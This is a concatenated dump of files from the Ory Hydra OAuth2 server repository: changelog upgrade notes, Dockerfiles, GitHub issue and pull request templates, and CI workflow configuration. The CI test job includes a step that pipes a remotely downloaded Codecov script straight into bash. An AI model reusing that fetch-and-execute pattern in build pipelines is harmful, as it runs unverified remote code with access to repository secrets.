here](https://www.ory.sh/docs/ecosystem/sqa) to read more about how we collect telemetry data, why we do it, and how to enable or disable it. #### URL Encoding Root Client Credentials This release adds the possibility to specify special characters in the `FORCE_ROOT_CLIENT_CREDENTIALS` by `www-url-decoding` the values. If you have characters that are not url safe in your root client credentials, please use the following form to specify them: `"FORCE_ROOT_CLIENT_CREDENTIALS=urlencode(id):urlencode(secret)"`. ## 0.9.0 This version adds performance metrics to `/health` and sends anonymous usage statistics to our servers, [click here](https://www.ory.sh/docs/ecosystem/sqa) for more details on this feature and how to disable it. ## 0.8.0 This PR improves some performance bottlenecks, offers more control over Hydra, moves to Go 1.8, and moves the REST documentation to swagger. **Before applying this update, please make a back up of your database. Do not upgrade directly from versions below 0.7.0**. To upgrade the database schemas, please run the following commands in exactly this order ```sh $ hydra help migrate sql $ hydra help migrate ladon ``` ```sh $ hydra migrate sql mysql://... $ hydra migrate ladon 0.6.0 mysql://... ``` ### Breaking changes #### Ladon updated to 0.6.0 Ladon was greatly improved with version 0.6.0, resolving various performance bottlenecks. Please read more on this release [here](https://github.com/ory/ladon/blob/master/HISTORY.md#060). #### Redis and RethinkDB deprecated Redis and RethinkDB are removed from the repository now and no longer supported, see [this issue](https://github.com/ory/hydra/issues/425). #### Moved to ory namespace To reflect the GitHub organization rename, Hydra was moved from `https://github.com/ory-am/hydra` to `https://github.com/ory/hydra`. #### SDK The method `FindPoliciesForSubject` of the policy SDK was removed. Instead, `List` was added. The HTTP endpoint `GET /policies` no longer allows to query by subject. #### JWK To generate JWKs previously the payload at `POST /keys` was `{ "alg": "...", "id": "some-id" }`. `id` was changed to `kid` so this is now `{ "alg": "...", "kid": "some-id" }`. #### Migrations are no longer automatically applied SQL Migrations are no longer automatically applied. Instead you need to run `hydra migrate sql` after upgrading to a Hydra version that includes a breaking schema change. ### Changes #### Log format: json Set the log format to json using `export LOG_FORMAT=json` #### SQL Connection Control You can configure SQL connection limits by appending parameters `max_conns`, `max_idle_conns`, or `max_conn_lifetime` to the DSN: `postgres://foo:bar@host:port/database?max_conns=12`. #### REST API Docs are now generated from source code ... and are swagger 2.0 spec. #### Documentation on scopes Documentation on scopes (e.g. offline) was added. #### New response writer library Hydra now uses `github.com/ory/herodot` for writing REST responses. This increases compatibility with other libraries and resolves a few other issues. #### Graceful http handling Hydra is now capable of gracefully handling SIGINT. #### Best practice HTTP server config Hydra now implements best practices for running HTTP servers that are exposed to the public internet.
hydra/.docker/Dockerfile-alpine
FROM alpine:3.18 RUN addgroup -S ory; \ adduser -S ory -G ory -D -H -s /bin/nologin RUN apk --no-cache --upgrade add ca-certificates COPY hydra /usr/bin/hydra # set up nsswitch.conf for Go's "netgo" implementation # - https://github.com/golang/go/blob/go1.9.1/src/net/conf.go#L194-L275 RUN echo 'hosts: files dns' > /etc/nsswitch.conf # By creating the sqlite folder as the ory user, the mounted volume will be owned by ory:ory, which # is required for read/write of SQLite. RUN mkdir -p /var/lib/sqlite && \ chown ory:ory /var/lib/sqlite USER ory ENTRYPOINT ["hydra"] CMD ["serve", "all"]
hydra/.docker/Dockerfile-build
FROM golang:1.20-bullseye AS builder WORKDIR /go/src/github.com/ory/hydra RUN apt-get update && apt-get upgrade -y &&\ mkdir -p /var/lib/sqlite &&\ mkdir -p ./internal/httpclient COPY go.mod go.sum ./ COPY internal/httpclient/go.* ./internal/httpclient/ ENV GO111MODULE on ENV CGO_ENABLED 1 RUN go mod download COPY . . RUN go build -tags sqlite,json1 -o /usr/bin/hydra ######################### FROM gcr.io/distroless/base-nossl-debian11:nonroot AS runner COPY --from=builder --chown=nonroot:nonroot /var/lib/sqlite /var/lib/sqlite COPY --from=builder /usr/bin/hydra /usr/bin/hydra VOLUME /var/lib/sqlite # Declare the standard ports used by hydra (4444 for public service endpoint, 4445 for admin service endpoint) EXPOSE 4444 4445 ENTRYPOINT ["hydra"] CMD ["serve", "all"]
hydra/.docker/Dockerfile-distroless-static
FROM gcr.io/distroless/static-debian11:nonroot COPY hydra /usr/bin/hydra # Declare the standard ports used by hydra (4444 for public service endpoint, 4445 for admin service endpoint) EXPOSE 4444 4445 ENTRYPOINT ["hydra"] CMD ["serve", "all"]
hydra/.docker/Dockerfile-hsm
FROM golang:1.20 AS builder WORKDIR /go/src/github.com/ory/hydra RUN apt-get update && apt-get upgrade -y &&\ mkdir -p /var/lib/sqlite &&\ mkdir -p ./internal/httpclient COPY go.mod go.sum ./ COPY internal/httpclient/go.* ./internal/httpclient ENV GO111MODULE on ENV CGO_ENABLED 1 RUN go mod download COPY . . ############################### FROM builder as build-hydra RUN go build -tags sqlite,json1,hsm -o /usr/bin/hydra ############################### FROM builder as test-hsm ENV HSM_ENABLED=true ENV HSM_LIBRARY=/usr/lib/softhsm/libsofthsm2.so ENV HSM_TOKEN_LABEL=hydra ENV HSM_PIN=1234 RUN apt-get -y install softhsm opensc &&\ pkcs11-tool --module "$HSM_LIBRARY" --slot 0 --init-token --so-pin 0000 --init-pin --pin "$HSM_PIN" --label "$HSM_TOKEN_LABEL" &&\ go test -p 1 -v -failfast -short -tags=sqlite,hsm ./... ############################### FROM gcr.io/distroless/base-nossl-debian11:debug-nonroot AS runner ENV HSM_ENABLED=true ENV HSM_LIBRARY=/usr/lib/softhsm/libsofthsm2.so ENV HSM_TOKEN_LABEL=hydra ENV HSM_PIN=1234 RUN apt-get -y install softhsm opensc &&\ pkcs11-tool --module "$HSM_LIBRARY" --slot 0 --init-token --so-pin 0000 --init-pin --pin "$HSM_PIN" --label "$HSM_TOKEN_LABEL" RUN addgroup -S ory; \ adduser -S ory -G ory -D -h /home/ory -s /bin/nologin; \ chown -R ory:ory /home/ory; \ chown -R ory:ory /var/lib/softhsm/tokens COPY --from=build-hydra /usr/bin/hydra /usr/bin/hydra # By creating the sqlite folder as the ory user, the mounted volume will be owned by ory:ory, which # is required for read/write of SQLite. RUN mkdir -p /var/lib/sqlite && \ chown ory:ory /var/lib/sqlite VOLUME /var/lib/sqlite # Exposing the ory home directory VOLUME /home/ory # Declare the standard ports used by hydra (4444 for public service endpoint, 4445 for admin service endpoint) EXPOSE 4444 4445 USER ory ENTRYPOINT ["hydra"] CMD ["serve"]
hydra/.docker/Dockerfile-scratch
FROM alpine:3.18 RUN apk --no-cache --upgrade --latest add ca-certificates # set up nsswitch.conf for Go's "netgo" implementation # - https://github.com/golang/go/blob/go1.9.1/src/net/conf.go#L194-L275 RUN [ ! -e /etc/nsswitch.conf ] && echo 'hosts: files dns' > /etc/nsswitch.conf RUN addgroup -S ory; \ adduser -S ory -G ory -D -h /home/ory -s /bin/nologin; RUN mkdir -p /var/lib/sqlite && \ chown -R ory:ory /var/lib/sqlite FROM scratch COPY --from=0 /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/ COPY --from=0 /etc/nsswitch.conf /etc/nsswitch.conf COPY --from=0 /etc/passwd /etc/passwd COPY --from=0 /var/lib/sqlite /var/lib/sqlite COPY hydra /usr/bin/hydra USER ory ENTRYPOINT ["hydra"] CMD ["serve", "all"]
hydra/.docker/Dockerfile-sqlite
FROM alpine:3.18 # Because this image is built for SQLite, we create /home/ory and /home/ory/sqlite which is owned by the ory user # and declare /home/ory/sqlite a volume. # # To get SQLite and Docker Volumes working with this image, mount the volume where SQLite should be written to at: # # /home/ory/sqlite/some-file. RUN addgroup -S ory; \ adduser -S ory -G ory -D -h /home/ory -s /bin/nologin; \ chown -R ory:ory /home/ory && \ apk --no-cache --upgrade --latest add ca-certificates sqlite WORKDIR /home/ory COPY hydra /usr/bin/hydra # By creating the sqlite folder as the ory user, the mounted volume will be owned by ory:ory, which # is required for read/write of SQLite. RUN mkdir -p /var/lib/sqlite && \ chown ory:ory /var/lib/sqlite VOLUME /var/lib/sqlite # Exposing the ory home directory VOLUME /home/ory # Declare the standard ports used by Hydra (4444 for public service endpoint, 4445 for admin service endpoint) EXPOSE 4444 4445 USER ory ENTRYPOINT ["hydra"] CMD ["serve"]
YAML
hydra/.github/auto_assign.yml
# AUTO-GENERATED, DO NOT EDIT! # Please edit the original at https://github.com/ory/meta/blob/master/templates/repository/common/.github/auto_assign.yml # Set to true to add reviewers to pull requests addReviewers: true # Set to true to add assignees to pull requests addAssignees: true # A list of reviewers to be added to pull requests (GitHub user name) assignees: - ory/maintainers # A number of reviewers added to the pull request # Set 0 to add all the reviewers (default: 0) numberOfReviewers: 0
YAML
hydra/.github/config.yml
# AUTO-GENERATED, DO NOT EDIT! # Please edit the original at https://github.com/ory/meta/blob/master/templates/repository/common/.github/config.yml todo: keyword: "@todo" label: todo
YAML
hydra/.github/FUNDING.yml
# AUTO-GENERATED, DO NOT EDIT! # Please edit the original at https://github.com/ory/meta/blob/master/templates/repository/common/.github/FUNDING.yml # These are supported funding model platforms # github: patreon: _ory open_collective: ory
JSON
hydra/.github/labels.json
[ { "name": "package/persistence/sql", "color": "0A28FD", "aliases": ["sql"] }, { "name": "package/sdk", "color": "0A28FD", "aliases": ["sdk"] }, { "name": "package/telemetry", "color": "0A28FD", "aliases": ["telemetry"] }, { "name": "package/oidc", "color": "0A28FD", "aliases": ["oidc"] }, { "name": "package/consent", "color": "0A28FD", "aliases": ["consent"] }, { "name": "package/oauth2", "color": "0A28FD", "aliases": ["oauth2"] }, { "name": "package/client", "color": "0A28FD", "aliases": ["client"] }, { "name": "package/jwk", "color": "0A28FD", "aliases": ["jwk"] }, { "name": "package/cli", "color": "0A28FD", "aliases": ["cmd", "config"] }, { "name": "package/config", "color": "0A28FD", "aliases": ["config"] } ]
Markdown
hydra/.github/pull_request_template.md
<!-- Describe the big picture of your changes here to communicate to the maintainers why we should accept this pull request. This text will be included in the changelog. If applicable, include links to documentation or pieces of code. If your change includes breaking changes please add a code block documenting the breaking change: ``` BREAKING CHANGES: This patch changes the behavior of configuration item `foo` to do bar. To keep the existing behavior please do baz. ``` --> ## Related issue(s) <!-- If this pull request 1. is a fix for a known bug, link the issue where the bug was reported in the format of `#1234`; 2. is a fix for a previously unknown bug, explain the bug and how to reproduce it in this pull request; 3. implements a new feature, link the issue containing the design document in the format of `#1234`; 4. improves the documentation, no issue reference is required. Pull requests introducing new features, which do not have a design document linked are more likely to be rejected and take on average 2-8 weeks longer to get merged. You can discuss changes with maintainers either in the Github Discussions in this repository or join the [Ory Chat](https://www.ory.sh/chat). --> ## Checklist <!-- Put an `x` in the boxes that apply. You can also fill these out after creating the PR. Please be aware that pull requests must have all boxes ticked in order to be merged. If you're unsure about any of them, don't hesitate to ask. We're here to help! --> - [ ] I have read the [contributing guidelines](../blob/master/CONTRIBUTING.md). - [ ] I have referenced an issue containing the design document if my change introduces a new feature. - [ ] I am following the [contributing code guidelines](../blob/master/CONTRIBUTING.md#contributing-code). - [ ] I have read the [security policy](../security/policy). - [ ] I confirm that this pull request does not address a security vulnerability. If this pull request addresses a security vulnerability, I confirm that I got the approval (please contact [[email protected]](mailto:[email protected])) from the maintainers to push the changes. - [ ] I have added tests that prove my fix is effective or that my feature works. - [ ] I have added or changed [the documentation](https://github.com/ory/docs). ## Further Comments <!-- If this is a relatively large or complex change, kick off the discussion by explaining why you chose the solution you did and what alternatives you considered, etc... -->
YAML
hydra/.github/ISSUE_TEMPLATE/BUG-REPORT.yml
# AUTO-GENERATED, DO NOT EDIT! # Please edit the original at https://github.com/ory/meta/blob/master/templates/repository/common/.github/ISSUE_TEMPLATE/BUG-REPORT.yml description: "Create a bug report" labels: - bug name: "Bug Report" body: - attributes: value: "Thank you for taking the time to fill out this bug report!\n" type: markdown - attributes: label: "Preflight checklist" options: - label: "I could not find a solution in the existing issues, docs, nor discussions." required: true - label: "I agree to follow this project's [Code of Conduct](https://github.com/ory/hydra/blob/master/CODE_OF_CONDUCT.md)." required: true - label: "I have read and am following this repository's [Contribution Guidelines](https://github.com/ory/hydra/blob/master/CONTRIBUTING.md)." required: true - label: "I have joined the [Ory Community Slack](https://slack.ory.sh)." - label: "I am signed up to the [Ory Security Patch Newsletter](https://ory.us10.list-manage.com/subscribe?u=ffb1a878e4ec6c0ed312a3480&id=f605a41b53)." id: checklist type: checkboxes - attributes: description: "Enter the slug or API URL of the affected Ory Network project. Leave empty when you are self-hosting." label: "Ory Network Project" placeholder: "https://<your-project-slug>.projects.oryapis.com" id: ory-network-project type: input - attributes: description: "A clear and concise description of what the bug is." label: "Describe the bug" placeholder: "Tell us what you see!" id: describe-bug type: textarea validations: required: true - attributes: description: | Clear, formatted, and easy to follow steps to reproduce the behavior: placeholder: | Steps to reproduce the behavior: 1. Run `docker run ....` 2. Make API Request to with `curl ...` 3. Request fails with response: `{"some": "error"}` label: "Reproducing the bug" id: reproduce-bug type: textarea validations: required: true - attributes: description: "Please copy and paste any relevant log output. This will be automatically formatted into code, so no need for backticks. Please redact any sensitive information" label: "Relevant log output" render: shell placeholder: | log=error .... id: logs type: textarea - attributes: description: "Please copy and paste any relevant configuration. This will be automatically formatted into code, so no need for backticks. Please redact any sensitive information!" label: "Relevant configuration" render: yml placeholder: | server: admin: port: 1234 id: config type: textarea - attributes: description: "What version of our software are you running?" label: Version id: version type: input validations: required: true - attributes: label: "On which operating system are you observing this issue?" options: - Ory Network - macOS - Linux - Windows - FreeBSD - Other id: operating-system type: dropdown - attributes: label: "In which environment are you deploying?" options: - Ory Network - Docker - "Docker Compose" - "Kubernetes with Helm" - Kubernetes - Binary - Other id: deployment type: dropdown - attributes: description: "Add any other context about the problem here." label: Additional Context id: additional type: textarea
YAML
hydra/.github/ISSUE_TEMPLATE/config.yml
# AUTO-GENERATED, DO NOT EDIT! # Please edit the original at https://github.com/ory/meta/blob/master/templates/repository/common/.github/ISSUE_TEMPLATE/config.yml blank_issues_enabled: false contact_links: - name: Ory Hydra Forum url: https://github.com/ory/hydra/discussions about: Please ask and answer questions here, show your implementations and discuss ideas. - name: Ory Chat url: https://www.ory.sh/chat about: Hang out with other Ory community members to ask and answer questions.
YAML
hydra/.github/ISSUE_TEMPLATE/DESIGN-DOC.yml
# AUTO-GENERATED, DO NOT EDIT! # Please edit the original at https://github.com/ory/meta/blob/master/templates/repository/common/.github/ISSUE_TEMPLATE/DESIGN-DOC.yml description: "A design document is needed for non-trivial changes to the code base." labels: - rfc name: "Design Document" body: - attributes: value: | Thank you for writing this design document. One of the key elements of Ory's software engineering culture is the use of defining software designs through design docs. These are relatively informal documents that the primary author or authors of a software system or application create before they embark on the coding project. The design doc documents the high level implementation strategy and key design decisions with emphasis on the trade-offs that were considered during those decisions. Ory is leaning heavily on [Google's design docs process](https://www.industrialempathy.com/posts/design-docs-at-google/) and [Golang Proposals](https://github.com/golang/proposal). Writing a design doc before contributing your change ensures that your ideas are checked with the community and maintainers. It will save you a lot of time developing things that might need to be changed after code reviews, and your pull requests will be merged faster. type: markdown - attributes: label: "Preflight checklist" options: - label: "I could not find a solution in the existing issues, docs, nor discussions." required: true - label: "I agree to follow this project's [Code of Conduct](https://github.com/ory/hydra/blob/master/CODE_OF_CONDUCT.md)." required: true - label: "I have read and am following this repository's [Contribution Guidelines](https://github.com/ory/hydra/blob/master/CONTRIBUTING.md)." required: true - label: "I have joined the [Ory Community Slack](https://slack.ory.sh)." - label: "I am signed up to the [Ory Security Patch Newsletter](https://ory.us10.list-manage.com/subscribe?u=ffb1a878e4ec6c0ed312a3480&id=f605a41b53)." id: checklist type: checkboxes - attributes: description: "Enter the slug or API URL of the affected Ory Network project. Leave empty when you are self-hosting." label: "Ory Network Project" placeholder: "https://<your-project-slug>.projects.oryapis.com" id: ory-network-project type: input - attributes: description: | This section gives the reader a very rough overview of the landscape in which the new system is being built and what is actually being built. This isn’t a requirements doc. Keep it succinct! The goal is that readers are brought up to speed but some previous knowledge can be assumed and detailed info can be linked to. This section should be entirely focused on objective background facts. label: "Context and scope" id: scope type: textarea validations: required: true - attributes: description: | A short list of bullet points of what the goals of the system are, and, sometimes more importantly, what non-goals are. Note, that non-goals aren’t negated goals like “The system shouldn’t crash”, but rather things that could reasonably be goals, but are explicitly chosen not to be goals. A good example would be “ACID compliance”; when designing a database, you’d certainly want to know whether that is a goal or non-goal. And if it is a non-goal you might still select a solution that provides it, if it doesn’t introduce trade-offs that prevent achieving the goals. label: "Goals and non-goals" id: goals type: textarea validations: required: true - attributes: description: | This section should start with an overview and then go into details. The design doc is the place to write down the trade-offs you made in designing your software. Focus on those trade-offs to produce a useful document with long-term value. That is, given the context (facts), goals and non-goals (requirements), the design doc is the place to suggest solutions and show why a particular solution best satisfies those goals. The point of writing a document over a more formal medium is to provide the flexibility to express the problem at hand in an appropriate manner. Because of this, there is no explicit guidance on how to actually describe the design. label: "The design" id: design type: textarea validations: required: true - attributes: description: | If the system under design exposes an API, then sketching out that API is usually a good idea. In most cases, however, one should withstand the temptation to copy-paste formal interface or data definitions into the doc as these are often verbose, contain unnecessary detail and quickly get out of date. Instead, focus on the parts that are relevant to the design and its trade-offs. label: "APIs" id: apis type: textarea - attributes: description: | Systems that store data should likely discuss how and in what rough form this happens. Similar to the advice on APIs, and for the same reasons, copy-pasting complete schema definitions should be avoided. Instead, focus on the parts that are relevant to the design and its trade-offs. label: "Data storage" id: persistence type: textarea - attributes: description: | Design docs should rarely contain code, or pseudo-code except in situations where novel algorithms are described. As appropriate, link to prototypes that show the feasibility of the design. label: "Code and pseudo-code" id: pseudocode type: textarea - attributes: description: | One of the primary factors that would influence the shape of a software design and hence the design doc, is the degree of constraint of the solution space. On one end of the extreme is the “greenfield software project”, where all we know are the goals, and the solution can be whatever makes the most sense. Such a document may be wide-ranging, but it also needs to quickly define a set of rules that allow zooming in on a manageable set of solutions. On the other end are systems where the possible solutions are very well defined, but it isn't at all obvious how they could even be combined to achieve the goals. This may be a legacy system that is difficult to change and wasn't designed to do what you want it to do or a library design that needs to operate within the constraints of the host programming language. In this situation, you may be able to enumerate all the things you can do relatively easily, but you need to creatively put those things together to achieve the goals. There may be multiple solutions, and none of them are great, and hence such a document should focus on selecting the best way given all identified trade-offs. label: "Degree of constraint" id: constrait type: textarea - attributes: description: | This section lists alternative designs that would have reasonably achieved similar outcomes. The focus should be on the trade-offs that each respective design makes and how those trade-offs led to the decision to select the design that is the primary topic of the document. While it is fine to be succinct about a solution that ended up not being selected, this section is one of the most important ones as it shows very explicitly why the selected solution is the best given the project goals and how other solutions, that the reader may be wondering about, introduce trade-offs that are less desirable given the goals. label: Alternatives considered id: alternatives type: textarea
YAML
hydra/.github/ISSUE_TEMPLATE/FEATURE-REQUEST.yml
# AUTO-GENERATED, DO NOT EDIT! # Please edit the original at https://github.com/ory/meta/blob/master/templates/repository/common/.github/ISSUE_TEMPLATE/FEATURE-REQUEST.yml description: "Suggest an idea for this project without a plan for implementation" labels: - feat name: "Feature Request" body: - attributes: value: | Thank you for suggesting an idea for this project! If you already have a plan to implement a feature or a change, please create a [design document](https://github.com/aeneasr/gh-template-test/issues/new?assignees=&labels=rfc&template=DESIGN-DOC.yml) instead if the change is non-trivial! type: markdown - attributes: label: "Preflight checklist" options: - label: "I could not find a solution in the existing issues, docs, nor discussions." required: true - label: "I agree to follow this project's [Code of Conduct](https://github.com/ory/hydra/blob/master/CODE_OF_CONDUCT.md)." required: true - label: "I have read and am following this repository's [Contribution Guidelines](https://github.com/ory/hydra/blob/master/CONTRIBUTING.md)." required: true - label: "I have joined the [Ory Community Slack](https://slack.ory.sh)." - label: "I am signed up to the [Ory Security Patch Newsletter](https://ory.us10.list-manage.com/subscribe?u=ffb1a878e4ec6c0ed312a3480&id=f605a41b53)." id: checklist type: checkboxes - attributes: description: "Enter the slug or API URL of the affected Ory Network project. Leave empty when you are self-hosting." label: "Ory Network Project" placeholder: "https://<your-project-slug>.projects.oryapis.com" id: ory-network-project type: input - attributes: description: "Is your feature request related to a problem? Please describe." label: "Describe your problem" placeholder: "A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]" id: problem type: textarea validations: required: true - attributes: description: | Describe the solution you'd like placeholder: | A clear and concise description of what you want to happen. label: "Describe your ideal solution" id: solution type: textarea validations: required: true - attributes: description: "Describe alternatives you've considered" label: "Workarounds or alternatives" id: alternatives type: textarea validations: required: true - attributes: description: "What version of our software are you running?" label: Version id: version type: input validations: required: true - attributes: description: "Add any other context or screenshots about the feature request here." label: Additional Context id: additional type: textarea
YAML
hydra/.github/workflows/ci.yaml
name: CI Tasks for Ory Hydra on: push: branches: - master tags: - "*" pull_request: # Cancel in-progress runs in current workflow. concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: true jobs: oidc-conformity: name: Run OIDC conformity tests runs-on: ubuntu-latest steps: - name: Checkout repository uses: ory/ci/checkout@master with: # We must fetch at least the immediate parents so that if this is # a pull request then we can checkout the head. fetch-depth: 2 - uses: actions/setup-go@v3 with: go-version: "1.20" - name: Start service run: ./test/conformance/start.sh - name: Run tests run: ./test/conformance/test.sh -v -short -parallel 16 sdk-generate: name: Generate SDKs runs-on: ubuntu-latest outputs: sdk-cache-key: ${{ steps.sdk-generate.outputs.sdk-cache-key }} steps: - uses: ory/ci/sdk/generate@master with: token: ${{ secrets.ORY_BOT_PAT }} id: sdk-generate test: name: Run tests and lints runs-on: ubuntu-latest needs: - sdk-generate services: postgres: image: postgres:11.8 env: POSTGRES_DB: postgres POSTGRES_PASSWORD: test POSTGRES_USER: test ports: - 5432:5432 mysql: image: mysql:8.0.26 env: MYSQL_ROOT_PASSWORD: test ports: - 3306:3306 env: TEST_DATABASE_POSTGRESQL: "postgres://test:test@localhost:5432/postgres?sslmode=disable" TEST_DATABASE_MYSQL: "mysql://root:test@(localhost:3306)/mysql?multiStatements=true&parseTime=true" TEST_DATABASE_COCKROACHDB: "cockroach://root@localhost:26257/defaultdb?sslmode=disable" steps: - run: | docker create --name cockroach -p 26257:26257 \ cockroachdb/cockroach:v22.1.10 start-single-node --insecure docker start cockroach name: Start CockroachDB - uses: ory/ci/checkout@master with: fetch-depth: 2 - uses: actions/cache@v2 with: path: | internal/httpclient key: ${{ needs.sdk-generate.outputs.sdk-cache-key }} - uses: actions/setup-go@v4 with: go-version: "1.20" - run: go list -json > go.list - name: Run nancy uses: sonatype-nexus-community/[email protected] with: nancyVersion: v1.0.42 - name: Run golangci-lint uses: golangci/golangci-lint-action@v3 env: GOGC: 100 with: args: --timeout 10m0s version: v1.53.2 skip-pkg-cache: true - name: Run go-acc (tests) run: | make .bin/go-acc .bin/go-acc -o coverage.out ./... -- -failfast -timeout=20m -tags sqlite,json1 - name: Submit to Codecov run: | bash <(curl -s https://codecov.io/bash) env: CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }} test-hsm: name: Run HSM tests needs: - sdk-generate runs-on: ubuntu-latest env: HSM_ENABLED: true HSM_LIBRARY: /usr/lib/softhsm/libsofthsm2.so HSM_TOKEN_LABEL: hydra HSM_PIN: 1234 steps: - uses: ory/ci/checkout@master - uses: actions/cache@v2 with: path: | internal/httpclient key: ${{ needs.sdk-generate.outputs.sdk-cache-key }} - uses: actions/setup-go@v3 with: go-version: "1.20" - name: Setup HSM libs and packages run: | sudo apt install -y softhsm opensc sudo rm -rf /var/lib/softhsm/tokens sudo mkdir -p /var/lib/softhsm/tokens sudo chmod -R a+rwx /var/lib/softhsm sudo chmod a+rx /etc/softhsm sudo chmod a+r /etc/softhsm/* - name: HSM tests run: | pkcs11-tool --module /usr/lib/softhsm/libsofthsm2.so --slot 0 --init-token --so-pin 0000 --init-pin --pin 1234 --label hydra go test -p 1 -failfast -short -timeout=20m -tags=sqlite,hsm ./... test-e2e: name: Run end-to-end tests runs-on: ubuntu-latest needs: - sdk-generate strategy: matrix: database: ["memory", "postgres", "mysql", "cockroach"] args: ["", "--jwt"] services: postgres: image: postgres:11.8 env: POSTGRES_DB: postgres POSTGRES_PASSWORD: test POSTGRES_USER: test ports: - 5432:5432 mysql: image: mysql:8.0.26 env: MYSQL_ROOT_PASSWORD: test ports: - 3306:3306 env: TEST_DATABASE_POSTGRESQL: "postgres://test:test@localhost:5432/postgres?sslmode=disable" TEST_DATABASE_MYSQL: "mysql://root:test@(localhost:3306)/mysql?multiStatements=true&parseTime=true" TEST_DATABASE_COCKROACHDB: "cockroach://root@localhost:26257/defaultdb?sslmode=disable" steps: - run: | docker create --name cockroach -p 26257:26257 \ cockroachdb/cockroach:v22.1.10 start-single-node --insecure docker start cockroach name: Start CockroachDB - uses: ory/ci/checkout@master - uses: actions/setup-go@v3 with: go-version: "1.20" - uses: actions/cache@v2 with: path: ./test/e2e/hydra key: ${{ runner.os }}-hydra - uses: actions/cache@v2 with: path: | internal/httpclient key: ${{ needs.sdk-generate.outputs.sdk-cache-key }} - run: ./test/e2e/circle-ci.bash ${{ matrix.database }} ${{ matrix.args }} docs-cli: runs-on: ubuntu-latest name: Build CLI docs needs: - test steps: - uses: ory/ci/docs/cli-next@master with: token: ${{ secrets.ORY_BOT_PAT }} output-dir: docs/hydra/cli changelog: name: Generate changelog runs-on: ubuntu-latest if: ${{ github.ref_type == 'tag' || github.ref_name == 'master' }} needs: - test - test-hsm - test-e2e steps: - uses: ory/ci/changelog@master with: token: ${{ secrets.ORY_BOT_PAT }} sdk-release: name: Release SDKs runs-on: ubuntu-latest if: ${{ github.ref_type == 'tag' }} needs: - test - test-hsm - sdk-generate - release steps: - uses: ory/ci/sdk/release@master with: swag-spec-location: spec/api.json token: ${{ secrets.ORY_BOT_PAT }} release: name: Generate release runs-on: ubuntu-latest if: ${{ github.ref_type == 'tag' }} needs: - oidc-conformity - test - test-hsm - test-e2e - changelog steps: - uses: ory/ci/releaser@master with: token: ${{ secrets.ORY_BOT_PAT }} goreleaser_key: ${{ secrets.GORELEASER_KEY }} cosign_pwd: ${{ secrets.COSIGN_PWD }} docker_username: ${{ secrets.DOCKERHUB_USERNAME }} docker_password: ${{ secrets.DOCKERHUB_PASSWORD }} render-version-schema: name: Render version schema runs-on: ubuntu-latest if: ${{ github.ref_type == 'tag' }} needs: - release steps: - uses: ory/ci/releaser/render-version-schema@master with: schema-path: .schema/config.schema.json token: ${{ secrets.ORY_BOT_PAT }} newsletter-draft: name: Draft newsletter runs-on: ubuntu-latest if: ${{ github.ref_type == 'tag' }} needs: - release steps: - uses: ory/ci/newsletter@master with: mailchimp_list_id: f605a41b53 mailchmip_segment_id: 6479481 mailchimp_api_key: ${{ secrets.MAILCHIMP_API_KEY }} draft: "true" ssh_key: ${{ secrets.ORY_BOT_SSH_KEY }} slack-approval-notification: name: Pending approval Slack notification runs-on: ubuntu-latest if: ${{ github.ref_type == 'tag' }} needs: - newsletter-draft steps: - uses: ory/ci/newsletter/slack-notify@master with: slack-webhook-url: ${{ secrets.SLACK_WEBHOOK_URL }} newsletter-send: name: Send newsletter runs-on: ubuntu-latest needs: - newsletter-draft if: ${{ github.ref_type == 'tag' }} environment: production steps: - uses: ory/ci/newsletter@master with: mailchimp_list_id: f605a41b53 mailchmip_segment_id: 6479481 mailchimp_api_key: ${{ secrets.MAILCHIMP_API_KEY }} draft: "false" ssh_key: ${{ secrets.ORY_BOT_SSH_KEY }}
YAML
hydra/.github/workflows/closed_references.yml
# AUTO-GENERATED, DO NOT EDIT! # Please edit the original at https://github.com/ory/meta/blob/master/templates/repository/common/.github/workflows/closed_references.yml name: Closed Reference Notifier on: schedule: - cron: "0 0 * * *" workflow_dispatch: inputs: issueLimit: description: Max. number of issues to create required: true default: "5" jobs: find_closed_references: if: github.repository_owner == 'ory' runs-on: ubuntu-latest name: Find closed references steps: - uses: actions/checkout@v2 - uses: actions/setup-node@v2-beta with: node-version: "14" - uses: ory/closed-reference-notifier@v1 with: token: ${{ secrets.GITHUB_TOKEN }} issueLabels: upstream,good first issue,help wanted issueLimit: ${{ github.event.inputs.issueLimit || '5' }}
YAML
hydra/.github/workflows/conventional_commits.yml
# AUTO-GENERATED, DO NOT EDIT! # Please edit the original at https://github.com/ory/meta/blob/master/templates/repository/common/.github/workflows/conventional_commits.yml name: Conventional commits # This GitHub CI Action enforces that pull request titles follow conventional commits. # More info at https://www.conventionalcommits.org. # # The Ory-wide defaults for commit titles and scopes are below. # Your repository can add/replace elements via a configuration file at the path below. # More info at https://github.com/ory/ci/blob/master/conventional_commit_config/README.md on: pull_request_target: types: - edited - opened - ready_for_review - reopened # pull_request: # for debugging, uses config in local branch but supports only Pull Requests from this repo jobs: main: name: Validate PR title runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - id: config uses: ory/ci/conventional_commit_config@master with: config_path: .github/conventional_commits.json default_types: | feat fix revert docs style refactor test build autogen security ci chore default_scopes: | deps docs default_require_scope: false - uses: amannn/action-semantic-pull-request@v4 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: types: ${{ steps.config.outputs.types }} scopes: ${{ steps.config.outputs.scopes }} requireScope: ${{ steps.config.outputs.requireScope }} subjectPattern: ^(?![A-Z]).+$ subjectPatternError: | The subject should start with a lowercase letter, yours is uppercase: "{subject}"
YAML
hydra/.github/workflows/cve-scan.yaml
